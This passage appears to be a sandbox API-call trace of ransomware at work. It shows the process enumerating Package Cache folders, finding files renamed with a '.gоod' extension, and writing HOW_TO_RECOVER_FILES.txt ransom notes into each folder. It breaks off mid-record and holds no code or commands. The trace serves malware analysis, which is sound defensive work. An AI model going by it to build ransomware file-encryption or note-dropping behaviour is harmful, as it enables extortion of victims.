lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 1 [0147.997] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ec220 | out: lpFindFileData=0x202ec220*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11932d00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0x11932d00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0x377f956e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x23010, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi.gоod", cAlternateFileName="VC_RUN~1.GOD")) returned 0 [0147.997] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0147.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec480) returned 1 [0147.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec440) returned 1 [0147.997] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ebf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0147.997] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec4b0) returned 1 [0147.997] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0147.999] GetFileType (hFile=0x630) returned 0x1 [0147.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec420) returned 1 [0147.999] GetFileType (hFile=0x630) returned 0x1 [0148.000] WriteFile (in: hFile=0x630, lpBuffer=0x370bb00*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ec578, lpOverlapped=0x0 | out: lpBuffer=0x370bb00*, lpNumberOfBytesWritten=0x202ec578*=0x5d0, lpOverlapped=0x0) returned 1 [0148.001] CloseHandle (hObject=0x630) returned 1 [0148.001] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ec9c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x75 [0148.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ecee0) returned 1 [0148.001] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.002] GetFileType (hFile=0x630) returned 0x1 [0148.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ece50) returned 1 [0148.002] GetFileType (hFile=0x630) returned 0x1 [0148.003] WriteFile (in: hFile=0x630, lpBuffer=0x370f428*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ecfa8, lpOverlapped=0x0 | out: lpBuffer=0x370f428*, lpNumberOfBytesWritten=0x202ecfa8*=0x5d0, lpOverlapped=0x0) returned 1 [0148.003] CloseHandle (hObject=0x630) returned 1 [0148.004] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6c [0148.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0148.004] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.005] GetFileType (hFile=0x630) returned 0x1 [0148.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0148.005] GetFileType (hFile=0x630) returned 0x1 [0148.005] WriteFile (in: hFile=0x630, lpBuffer=0x3712d30*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3712d30*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0148.006] CloseHandle (hObject=0x630) returned 1 [0148.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.006] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpFilePart=0x0) returned 0x47 [0148.007] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.007] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389f58a1, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x38530e78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee48, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe.gоod", cAlternateFileName="VC_RED~1.GOD")) returned 1 [0148.007] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.007] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.008] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}", lpFilePart=0x0) returned 0x47 [0148.008] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.008] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389f58a1, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x389f58a1, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.008] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x38530e78, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0148.009] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee48, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe.gоod", cAlternateFileName="VC_RED~1.GOD")) returned 1 [0148.009] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x389f58a1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbee48, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe.gоod", cAlternateFileName="VC_RED~1.GOD")) returned 0 [0148.009] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.009] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0148.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0148.009] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.011] GetFileType (hFile=0x630) returned 0x1 [0148.011] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0148.011] GetFileType (hFile=0x630) returned 0x1 [0148.011] WriteFile (in: hFile=0x630, lpBuffer=0x37251b0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x37251b0*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0148.012] CloseHandle (hObject=0x630) returned 1 [0148.012] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.012] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x47 [0148.012] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x395bb29e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39b3af2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.013] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x395bb29e, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39b3af2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.013] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39b3af2c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39b3af2c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a5370bc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.013] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x391db43d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0148.013] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x395bb29e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x71090, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0148.013] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0148.013] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.014] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpFilePart=0x0) returned 0x47 [0148.014] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x39b3af2c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39b3af2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0148.014] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x39b3af2c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39b3af2c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.014] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39b3af2c, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39b3af2c, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3a5370bc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0148.014] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x391db43d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x280, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm.gоod", cAlternateFileName="STATER~1.GOD")) returned 1 [0148.014] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x395bb29e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x71090, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 1 [0148.015] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x202ed680 | out: lpFindFileData=0x202ed680*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd2593ec2, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x395bb29e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x71090, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe.gоod", cAlternateFileName="VCREDI~1.GOD")) returned 0 [0148.015] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0148.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8e0) returned 1 [0148.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed8a0) returned 1 [0148.015] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x202ed3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0148.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed910) returned 1 [0148.015] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x630 [0148.016] GetFileType (hFile=0x630) returned 0x1 [0148.016] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ed880) returned 1 [0148.016] GetFileType (hFile=0x630) returned 0x1 [0148.017] WriteFile (in: hFile=0x630, lpBuffer=0x3737630*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x202ed9d8, lpOverlapped=0x0 | out: lpBuffer=0x3737630*, lpNumberOfBytesWritten=0x202ed9d8*=0x5d0, lpOverlapped=0x0) returned 1 [0148.018] CloseHandle (hObject=0x630) returned 1 [0148.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ed9a0) returned 1 [0148.018] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", nBufferLength=0x105, lpBuffer=0x202ed440, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}", lpFilePart=0x0) returned 0x47 [0148.018] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x202ed6c0 | out: lpFindFileData=0x202ed6c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0x3ad8f55b, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ad8f55b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, 